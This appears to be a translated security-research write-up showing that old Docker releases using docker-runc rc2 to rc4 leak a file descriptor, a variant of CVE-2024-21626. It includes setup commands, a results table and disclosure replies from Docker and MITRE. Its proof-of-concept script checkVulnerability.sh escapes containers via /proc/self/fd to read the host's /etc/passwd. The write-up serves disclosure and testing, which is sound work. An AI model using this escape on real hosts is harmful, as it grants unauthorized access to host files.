在我分析 CVE-2024-21626 的过程中,我发现其他旧版 Docker 组件也存在 文件描述符泄漏 漏洞(这一点在 安全公告 GHSA-xr7r-f8xq-vfvv 中并未提及)。请阅读我的完整文章以获取详细解释:此处。
安装过程中不要勾选“下载更新”选项。
访问 https://download.docker.com/linux/static/stable/x86_64/ 并下载旧版本 docker-X.Y.Z-ce.tgz 进行测试
解压,将内容复制到 /usr/bin 路径,然后运行 Docker 守护进程。
cd Downloads/
tar xzvf <docker-X.Y.Z-ce.tgz>
sudo cp docker/* /usr/bin/
sudo dockerd &
sudo docker version
containerd --version
uname -r
在旧版本中我们使用 docker-runc 而非 runc。因此检查:
ls -la /usr/bin | grep docker
-rwxr-xr-x 1 root root 14128576 mar 19 10:54 docker
-rwxr-xr-x 1 root root 8932648 mar 19 10:54 docker-containerd
-rwxr-xr-x 1 root root 8381448 mar 19 10:54 docker-containerd-ctr
-rwxr-xr-x 1 root root 3047368 mar 19 10:54 docker-containerd-shim
-rwxr-xr-x 1 root root 39989264 mar 19 10:54 dockerd
-rwxr-xr-x 1 root root 772400 mar 19 10:54 docker-init
-rwxr-xr-x 1 root root 2534781 mar 19 10:54 docker-proxy
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
ls -la /usr/bin| grep runc
-rwxr-xr-x 1 root root 10232 mar 18 2018 bdftruncate
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
-rwxr-xr-x 1 root root 35000 gen 18 2018 runcon
-rwxr-xr-x 1 root root 39096 gen 18 2018 truncate
检查 docker-runc/runc 的版本
runc --version
docker-runc -v
运行 checkVulnerability.sh 并查看终端是否打印出文件
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
echo ""
done
# 克隆 CVE-2024-21626-old-docker-versions 仓库
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git
# 运行 checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh
本例中我使用了 docker-17.03.1-ce 版本。

本例中我使用了 docker-17.03.1-ce 版本。

以下是我按 Docker 版本及关联的 runc 版本整理的分析结果。
| Docker 版本 | docker-runc 版本 | 泄漏的文件描述符编号 |
|---|---|---|
| docker-17.03.1-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.03.2-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.06.0-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.1-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.2-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.09.0-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.09.1-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.12.0-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-17.12.1-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-18.03.0-ce.tgz | ❌ | |
| docker-18.06.3-ce.tgz | 1.0.0-rc5+dev | ❌ |
| Docker 版本 | runc 版本 | 泄漏的文件描述符编号 |
|---|---|---|
| docker-18.09.0.tgz | 1.0.0-rc5+dev | ❌ |
以下是显示三种不同易受攻击版本的截图。
| 1.0.0-rc2 | 1.0.0-rc3 | 1.0.0-rc4+dev |
|---|---|---|
![]() | ![]() | ![]() |
与 CVE-2024-21626 类似,不同类型的攻击仍然可能发生。
此漏洞与 CVE-2024-21626 有较大不同,原因如下:
openat2 系统调用的较旧 Linux 版本上触发。/run/runc/<container>/ 路径下,该路径包含正在运行容器的状态,而非主机的 /sys/fs/cgroup 目录。我发现的是,旧版本也容易受到相同的攻击技术影响。尽管漏洞本身有所不同,但结果是一样的:获得对主机文件系统的访问权限。关键要点是不要仅依赖安全公告——要彻底测试所有内容。完全理解 CVE,了解其工作原理,在安全环境中进行实验,并探索边界情况。
我尝试联系 [email protected]、[email protected],并尝试申请 CVE。我收到了以下回复:
| 请求 | 回复 |
|---|---|
| [email protected] (2024年3月19日) | 您列出的版本都是 Docker 已经停止支持且不再维护的 EOL 版本(约7年历史)。如果您对现有 GHSA-xr7r-f8xq-vfvv 公告中列出的版本或措辞有疑问("受影响版本:>= 1.0.0-rc93, <= 1.1.11"),则正确的报告渠道应是 OCI 安全邮箱:https://github.com/opencontainers/.github/blob/main/SECURITY.md 感谢您的联系。如果还有其他我们可以帮助的,请告知。 |
| [email protected] (2024年3月20日) | 无回复 |
| CVE-MITRE (2024年5月15日) | 我们通常不会为仅存在于候选发布版中的问题分配 CVE ID。https://www.cve.org/CVERecord?id=CVE-2024-21626 影响了已发布的 runc 版本,例如 1.1.11 版本。 |